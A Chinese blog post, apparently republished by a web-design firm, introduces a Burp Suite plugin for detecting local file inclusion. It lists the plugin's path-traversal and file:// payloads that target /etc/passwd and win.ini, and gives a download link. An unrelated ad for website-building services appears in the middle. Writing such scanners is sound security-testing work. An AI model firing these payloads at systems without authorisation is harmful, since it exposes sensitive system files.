LFI scanner checks是为了我自己为burp轻量级扫描器做的一个检测LFI漏洞插件，因为burp没有一个有效的检测LFI功能的，只能自己写一个插件了。

创新互联长期为上千余家客户提供的网站建设服务，团队从业经验10年，关注不同地域、不同群体，并针对不同对象提供差异化的产品和服务；打造开放共赢平台，与合作伙伴共同营造健康的互联网生态环境。为双湖企业提供专业的成都网站建设、成都做网站，双湖网站改版等技术服务。拥有十载丰富建站经验和众多成功案例,为您定制开发。

先看下截图：

来对比下J2EESCAN里面附带的LFI探测

下面是安装上 LFI scanner checks

我使用的payload如下

../../../../../../../../../../../../../../../../etc/passwd%00.html

../../../../../../../../../../../../../../../../etc/passwd

file:///etc/passwd

file:///c:/windows/win.ini

../../../../../../../../../../../../../../../../windows/win.ini

../../../../../../../../../../../../../../../../windows/win.ini%00.html

如果有好的建议，可以在评论中留言

下载地址

链接: http://pan.baidu.com/s/1gdfITIN 密码: 4fv7

网页名称：本地文件包含漏洞检测工具：Burp国产插件LFIscanner
新闻来源：http://chengdu.cdxwcx.cn/article/dpoiioo.html